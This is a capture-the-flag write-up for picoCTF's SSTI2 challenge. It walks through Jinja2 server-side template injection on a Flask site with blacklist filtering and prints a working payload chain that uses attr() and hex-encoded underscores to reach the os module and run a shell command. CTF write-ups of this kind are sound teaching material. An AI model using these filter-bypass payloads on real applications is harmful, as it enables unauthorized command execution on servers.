picoCTF: SSTI2 — Writeup
Published on June 5, 2025
Challenge: picoCTF: SSTI2
Difficulty: Medium
Description: I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)
This challenge presented a Jinja2 template injection vulnerability, but with aggressive input filtering that blocked underscores, dots, curly braces, quotes, and common keywords like os
and popen
. Even successful output containing curly braces was stripped from responses.
Initial Testing
I entered {{7*7}}
, which evaluated to 49
, confirming template injection was possible. However, every traditional payload failed:
{{''.__class__.__subclasses__()}} # Blocked
{{request.application.__globals__}} # Blocked
The filters were catching both input patterns and output content, making standard exploitation impossible.
Filter Discovery
Through systematic testing, I identified these blocked elements:
- Characters: __
(double underscores), .
(dots), {}
(curly braces), '
(single quotes)
- Keywords: os
, popen
, class
, subclasses
, init
, globals
- Output filtering: Even successful payloads containing {
characters were stripped from responses
This confirmed both aggressive input sanitization and output filtering were in place.
My Theory
Since direct object traversal was blocked, I needed an alternative approach. The key insight was that Flask's config
object would be available in the template context without triggering keyword filters. From there, I could use method chaining with attr()
to avoid dot notation and hex encoding to bypass underscore filtering.
I considered other approaches like using request
object methods or trying different encoding schemes, but the config
path seemed most reliable since it's a standard Flask context variable that wouldn't trigger keyword detection.
Exploitation Chain
I started with the Flask config object and built a chain using attr()
calls:
{{config|attr('__class__')}}
That failed because of underscore filtering. So I hex-encoded the underscores:
{{config|attr('\x5f\x5fclass\x5f\x5f')}}
That worked. I continued building the chain to reach the OS module:
{{config|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')}}
Finally, I executed the command to read the flag:
{{ config | attr('\x5f\x5fclass\x5f\x5f') | attr('\x5f\x5finit\x5f\x5f') | attr('\x5f\x5fglobals\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('os') | attr('popen')('cat flag') | attr('read')() }}
The hex encoding \x5f
represents the underscore character (_
), making \x5f\x5fclass\x5f\x5f
equivalent to __class__
but invisible to string-based blacklist filters.
Key Takeaway
Blacklist filters can often be bypassed with encoding techniques and alternative syntax. The \x5f
hex encoding made underscores invisible to string-based filters, while attr()
provided an alternative to dot notation. Understanding multiple ways to access the same Python functionality is crucial when filters block the obvious approaches.
Alternative methods like using request
objects, different encoding schemes (\u005f
for Unicode), or even getattr()
functions could also work depending on the specific filtering implementation.